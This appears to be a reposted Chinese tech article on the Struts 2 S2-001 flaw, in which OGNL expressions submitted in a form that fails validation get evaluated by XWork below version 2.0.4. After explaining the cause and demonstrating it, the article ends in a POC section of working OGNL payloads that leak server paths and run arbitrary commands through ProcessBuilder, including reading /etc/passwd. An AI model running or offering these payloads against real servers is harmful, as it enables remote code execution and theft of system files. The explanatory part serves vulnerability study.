当前位置:六维空间 > 【组图】Struts 2 漏洞系列之 S2-001_搜狐科技_搜狐网

【组图】Struts 2 漏洞系列之 S2-001_搜狐科技_搜狐网

时间:编辑:六维空间手机版

原标题:Struts 2 漏洞系列之 S2-001

漏洞原理

Struts 2 框架的表单验证机制( Validation )主要依赖于两个拦截器:validation 和 workflow。

validation 拦截器工作时,会根据 XML 配置文件来创建一个验证错误列表;workflow 拦截器工作时,会根据 validation 拦截器所提供的验证错误列表,来检查当前所提交的表单是否存在验证错误。

在默认配置下,如果 workflow 拦截器检测到用户所提交的表单存在任何一个验证错误,workflow 拦截器都会将用户的输入进行解析处理,随即返回并显示处理结果。

那么问题出在哪里呢?我们再来了解 Struts 2 框架中的一个标签处理功能: altSyntax。

altSyntax 功能是 Struts 2 框架用于处理标签内容的一种新语法(不同于普通的 HTML ),该功能主要作用在于支持对标签中的 OGNL 表达式进行解析并执行。比如:

...

上述代码在开启 altSyntax 功能后,可以这么写(引入 OGNL 表达式):

...

altSyntax 功能在处理标签时,对 OGNL 表达式的解析能力实际上是依赖于开源组件 XWork。

于是,在 XWork 组件版本小于 2.0.4 以及 altSyntax 功能开启的情况下,恶意攻击者可以通过提交一个带有 OGNL 表达式的表单请求,故意触发表单验证错误——最终该表单请求中恶意的 OGNL 表达式会被 XWork 组件解析并执行,随即由 workflow 拦截器返回执行结果。

漏洞演示

本次测试我们使用的代码是官方提供的 struts2-showcase-2.0.1, XWork 版本小于 2.0.4,且 altSyntax 功能默认是开启的,无需再手动配置。

测试 Demo 表单中一共有三个值:name、age 和 answer。表单代码如下:

validation 拦截器设置的条件是 age 的值必须在13和19之间,配置信息如下:

You must enter a name 13 19 Only people ages 13 to 19 may take this quiz

测试 Demo 界面效果图如下:

现在我们来模拟恶意用户:

  • 1. POST 提交正常数据:name=test&age=14&answer=black,回显正常。效果如下:

  • 2. POST 提交触发验证错误的正常数据:name=test&age=10&answer=black,回显输入内容并提示触发了表单验证错误。效果如下:

  • 3. POST 提交特殊构造的恶意数据:name=%{11+12}&age=10&answer=%{2017+2018},回显恶意 OGNL 表达式的执行结果,并提示触发了表单验证错误。效果如下:

  • 4. POST 提交攻击代码:name=%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}&age=10&answer=%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"},回显攻击代码的执行结果,镔铁提示触发了表单验证错误。效果如下:

POC

本文所提供的 POC 仅供研究学习,请勿用于非法用途!

  • 获取tomcat执行路径:
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
  • 获取Web路径:
%{ #req=@org.apache.struts2.ServletActionContext@getRequest(), #response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(), #response.println(#req.getRealPath('/')), #response.flush(), #response.close() }
  • 执行任意命令:
%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }
  • 执行任意命令时,如果所执行的命令需要组合,则将上述 payload 改为:
%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() } 挖洞思路
  • 需要了解 Struts 2 框架的表单验证机制。
  • 需要了解 OGNL 表达式。
参考链接

官方的 漏洞链接。

开源 payload 提供者。

作者官方 博客。返回搜狐,查看更多

责任编辑:

新闻来源:黑客与极客

原标题:Struts 2 漏洞系列之 S2-001_搜狐科技_搜狐网

六维空间:http://www.liuweispace.com/

六维空间移动端:http://m.liuweispace.com/

猜您感兴趣

六维空间的所有信息均转载于其他网站或从互联网收集,如6v电影的稿件侵犯了您的权益或版权,请联系六维

Copyright © 2010-2018 六维空间(http://www.liuweispace.com/). All Rights Reserved.